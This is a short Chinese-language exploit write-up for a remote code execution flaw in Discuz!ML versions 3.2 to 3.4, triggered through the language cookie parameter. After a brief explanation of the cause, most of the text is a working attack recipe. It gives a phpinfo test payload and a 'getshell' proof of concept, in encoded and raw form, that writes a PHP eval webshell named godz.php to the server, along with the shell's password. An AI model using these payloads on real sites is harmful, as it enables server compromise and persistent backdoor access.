1.漏洞描述
Discuz!ML是一個由CodersClub.org創建的多語言,集成,功能齊全的開源網絡平臺,用於構建像“社交網絡”這樣的互聯網社區。
2019年7月11日, Discuz!ML被發現存在一處遠程代碼執行漏洞,攻擊者通過在請求流量的cookie字段中的language參數處插入構造的payload,進行遠程代碼執行利用,該漏洞利用方式簡單,危害性較大。
2.原理
由於Discuz! ML對於cookie字段的不恰當處理造成的
cookie字段中的language參數未經過濾,直接被拼接寫入緩存文件之中,
而緩存文件隨後又被加載,從而造成代碼執行
3.影響版本
Discuz! ML v.3.4
Discuz! ML v.3.3
Discuz! ML v.3.2
4.利用過程
簡而言之,通過cookie傳入payload,構造好的payload被寫入template文件中:
注意這是國際版的,不是國內的那種,一般要有語言選擇的才行,大部分都是國外的論壇
類似於有這種的
問題出在
XXXX_language=
測試PAYLOAD
XXXX_language='.phpinfo().';
XXX自己改一下
GO一下看結果
4.getshell POC
%27.+file_put_contents%28%27godz.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522godz%2522%255d%29%253b%253f%253e%27%29%29.%27
原始的payload
'.+file_put_contents('godz.php',urldecode('<?php eval($_GET["godz"]);?>')).'
訪問網站生成木馬文件,godz.php 密碼爲godz
驗證木馬